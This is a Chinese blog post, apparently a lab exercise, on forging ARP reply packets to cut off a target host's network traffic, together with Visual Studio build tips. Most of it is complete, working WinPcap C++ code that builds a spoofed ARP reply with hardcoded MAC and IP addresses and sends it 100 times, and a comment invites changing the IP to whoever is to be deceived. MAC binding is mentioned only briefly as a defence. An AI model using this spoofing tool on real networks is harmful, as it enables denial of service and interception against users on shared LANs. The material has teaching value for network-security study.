溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

偽造的ARP應(yīng)答報文,阻礙對方通信

發(fā)布時間:2020-07-04 11:28:07 來源:網(wǎng)絡(luò) 閱讀:679 作者:薛12851 欄目:網(wǎng)絡(luò)安全

實驗原理:

    對主機A發(fā)送偽造的ARP應(yīng)答報文,假冒主機B的IP地址,但MAC地址設(shè)為不存在的一個硬件地址,主機A接收此報文后錯誤地刷新ARP高速緩存中主機B的IP地址與MAC地址的映射關(guān)系,導(dǎo)致主機A與主機B的網(wǎng)絡(luò)通信中斷。這種方法屬于拒絕服務(wù)(Denial of Service, DoS)***,網(wǎng)絡(luò)上流行的網(wǎng)絡(luò)執(zhí)法官等軟件就是采用ARP欺騙機制,發(fā)送錯誤的網(wǎng)關(guān)MAC地址給非法用戶,使其通信中斷。

    ***者172.28.15.3以172.28.15.33的名義發(fā)起的一次ARP欺騙,可以看出,***者發(fā)送了一系列的ARP請求包,表面上像是網(wǎng)關(guān) 172.28.15.33在網(wǎng)絡(luò)中查尋各個主機的MAC地址,而實際上是***者通過發(fā)送廣播包告訴各個主機:172.28.15.33的MAC地址是 “c8-9c-dc-22-61-d0”。這樣,當各主機收到廣播包后,就會用偽造的這個MAC地址來更換原先的ARP緩存表,此時用“arp -a”命令查看時得到的就是這個偽造的MAC地址。


實驗代碼及步驟:

// 123.cpp : 定義控制臺應(yīng)用程序的入口點。
#include "stdafx.h"
#include <pcap.h>
int _tmain(int argc, _TCHAR* argv[])
{
    pcap_if_t * allAdapters;//適配器列表
    pcap_if_t * adapter;
    pcap_t    * adapterHandle;//適配器句柄
    u_char      packet[ 1020 ]; //待發(fā)送的數(shù)據(jù)封包
    char errorBuffer[ PCAP_ERRBUF_SIZE ];//錯誤信息緩沖區(qū)

    if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
    {//檢索機器連接的所有網(wǎng)絡(luò)適配器
        fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
        return -1;
    }

    if( allAdapters == NULL )
    {//不存在任何適配器
        printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
        return 0;
    }

    int crtAdapter = 0;

    for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
    {//遍歷輸入適配器信息(名稱和描述信息)
        printf( "\n%d.%s ", ++crtAdapter, adapter->name ); 
        printf( "-- %s\n", adapter->description );
    }
    printf( "\n" );

    //選擇適配器
    int adapterNumber;
    printf( "Enter the adapter number between 1 and %d:", crtAdapter );
    scanf_s( "%d", &adapterNumber );

    if( adapterNumber < 1 || adapterNumber > crtAdapter )
    {
        printf( "\nAdapter number out of range.\n" );        
        pcap_freealldevs( allAdapters );// 釋放適配器列表
        return -1;
    }

    adapter = allAdapters;
    for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
        adapter = adapter->next;

    // 打開指定適配器
    adapterHandle = pcap_open( adapter->name, // name of the adapter
                               65536,         // portion of the packet to capture
                                              // 65536 guarantees that the whole 
                          // packet will be captured
                               PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
                               1000,             // read timeout - 1 millisecond
                               NULL,          // authentication on the remote machine
                               errorBuffer    // error buffer
                              );
    if( adapterHandle == NULL )
    {//指定適配器打開失敗
        fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
        // 釋放適配器列表
        pcap_freealldevs( allAdapters );
        return -1;
    }

    pcap_freealldevs( allAdapters );//釋放適配器列表

    //創(chuàng)建數(shù)據(jù)封包
    packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x6c;    packet[5] = 0x58;   // 被騙計算機的mac地址
    packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x62;   packet[11] = 0x0f;   // 自己的mac地址
    packet[12] = 0x08;   packet[13] = 0x06;  // 以太網(wǎng)封裝arp協(xié)議(不用動)
    packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太網(wǎng)
    packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP協(xié)議
    packet[18] = 0x06;  // arp第3字段:代表第二層地址的長度
    
packet[19] = 0x04;  // arp第4字段:代表第三層地址的長度
    packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:這是一個arp應(yīng)答報文; 下面的是arp的第6,7,8,9字段
    packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x06; // 假的網(wǎng)關(guān)地址,
    packet[28] = 0xac;   packet[29] = 0x1c;        packet[30] = 0x0f;   packet[31] = 0xfe;    // 網(wǎng)關(guān)的ip,這里是172.28.15.254(在本實驗室不用改)
    packet[32] = 0xc8;   packet[33]  = 0x9c;   packet[34]  = 0xdc;   packet[35]  = 0x22;   packet[36] = 0x61;   packet[37] = 0xd0;  // 被騙計算機的mac地址
    packet[38] = 0xac;   packet[39] = 0x1c;        packet[40] = 0x0f;   packet[41] = 0x21;   // 被騙計算機的IP地址,這里是172.28.15.33  (想騙誰,這里就改成誰的IP)

   
    //發(fā)送數(shù)據(jù)封包
    for(int ssde=0;ssde<100;ssde++)
    {
        pcap_sendpacket( adapterHandle, packet, 42);
        Sleep(1000);
    }

    system( "PAUSE" );
    return 0;
}

運行結(jié)果:

偽造的ARP應(yīng)答報文,阻礙對方通信

查看要被欺騙的MAC地址:

偽造的ARP應(yīng)答報文,阻礙對方通信

如果不想被欺騙就需要mac綁定:

偽造的ARP應(yīng)答報文,阻礙對方通信


注意事項:

項目-->(123)屬性(alt+F7)
配置屬性-->清單工具-->輸入和輸出-->嵌入清單-->否


項目-->(123)屬性(alt+F7)
配置屬性-->C/C++-->常規(guī)-->附加包含目錄-->(C:\WpdPack選中include文件)
項目-->(123)屬性(alt+F7)
配置屬性-->鏈接器-->常規(guī)-->附加庫目錄-->(C:\WpdPack選中l(wèi)ib文件)

項目-->(123)屬性(alt+F7)
配置屬性-->鏈接器-->輸入-->附加依賴項-->補充“;Packet.lib;wpcap.lib;Ws2_32.lib;”

項目-->(123)屬性(alt+F7)
配置屬性-->C/C++-->預(yù)處理器-->預(yù)處理器定義-->補充“;HAVE_REMOTE”

---------LINK:fatal error LNK1123: 轉(zhuǎn)換到 COFF 期間失敗: 文件無效或損壞--------

第一步:將 項目——項目屬性——配置屬性——連接器——清單文件——嵌入清單 “是”改為“否”。若還不能解決問題進入第二步。
第二步:查看計算機是否為64bit操作系統(tǒng),如是,繼續(xù)如下操作。
查找是否有兩個cvtres.exe。
C:\Program Files(x86)\Microsoft Visual Studio 10.0\vc\bin\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
右鍵屬性—詳細信息, 查看兩者版本號,刪除/重命名較舊的版本,或者重新設(shè)置Path變量。


治本的辦法是第二步,刪除舊版本的cvtres.exe后,就不需要每次都設(shè)置配置。
例如:   del  C:\"Program Files (x86)"\"Microsoft Visual Studio 10.0"\VC\bin\cvtres.exe


向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI